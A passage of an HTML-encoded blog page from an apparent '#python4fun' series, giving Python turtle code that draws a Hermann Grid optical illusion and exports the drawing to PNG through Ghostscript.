&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;update()&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;### This will create .eps file ####&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;tkinter&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PIL&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Image&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;time&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# keeping eps file name as image&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;eps_file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;temp.eps&quot;&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# generating eps file&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;getscreen()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hideturtle()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;getcanvas()&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;postscript(file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;eps_file)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# get current python file name as string without &quot;.py&quot;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fname&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;basename(__file__)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;filename&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fname&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;replace(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;.py&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;.png&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Converting eps file to jpg | with filename &lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;#im.save(str(filename)+&quot;.jpg&quot;, &quot;JPEG&quot;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Convert eps to transparent png using ghost script&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;popen(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;gswin64c -dSAFER -dBATCH -dNOPAUSE -r300 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -sOutputFile=&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot; -dEPSCrop temp.eps&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Merge transparent png on top of given background png&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sleep(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Get transparent image file height / width&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;img&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Image&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(filename)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;h,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;w&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;img&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(h,w)&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;Click on the Turtle Screen To Close&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;exitonclick()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjNovLSsghxZ89AUildpbV9e4EqEEC2hR6rRbSWhCtFN8PvopejISwoNDnv7JqODmdvauOL21BykY-uWRqFSvCViIzSVpqEg4tbr5c0lAiKaet8lHjeZh0fw3yvLbsNwO-ja-2RbjT5CG_oJzgcxxvSgjdlqMAQKKw4yPk0JuLo9KlNj-Ls6GFh3D7c=s2500&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Illusion with Python&quot; border=&quot;0&quot; data-original-height=&quot;2500&quot; data-original-width=&quot;2500&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjNovLSsghxZ89AUildpbV9e4EqEEC2hR6rRbSWhCtFN8PvopejISwoNDnv7JqODmdvauOL21BykY-uWRqFSvCViIzSVpqEg4tbr5c0lAiKaet8lHjeZh0fw3yvLbsNwO-ja-2RbjT5CG_oJzgcxxvSgjdlqMAQKKw4yPk0JuLo9KlNj-Ls6GFh3D7c=s320&quot; title=&quot;Hermann Grid Illusion - #python4fun&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;br /&gt;

&lt;b&gt;Code for Hermann Grid Illusion - #python4fun&lt;/b&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;Screen()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;setup(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;title(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;Hermann Grid Illusion - #python4fun&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;tracer(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hideturtle()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;speed(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;bgcolor(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;black&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pensize(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;color(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;light gray&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;502&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;25&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;up()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(x,&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;down()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seth(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;90&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    
&lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;502&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;25&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;up()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;down()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seth(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;up()&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;502&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;25&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;502&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;25&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;        
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(x,y)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dot(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;white&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;update()&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;### This will create .eps file ####&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;tkinter&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PIL&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Image&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;time&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# keeping eps file name as image&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;eps_file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;temp.eps&quot;&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# generating eps file&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;getscreen()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hideturtle()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;getcanvas()&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;postscript(file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;eps_file)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# get current python file name as string without &quot;.py&quot;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fname&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;basename(__file__)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;filename&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fname&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;replace(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;.py&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;.png&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Converting eps file to jpg | with filename &lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;#im.save(str(filename)+&quot;.jpg&quot;, &quot;JPEG&quot;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Convert eps to transparent png using ghost script&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;popen(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;gswin64c -dSAFER -dBATCH -dNOPAUSE -r300 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -sOutputFile=&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot; -dEPSCrop temp.eps&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Merge transparent png on top of given background png&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sleep(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Get transparent image file height / width&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;img&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Image&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(filename)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;h,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;w&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;img&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(h,w)&lt;/span&gt;
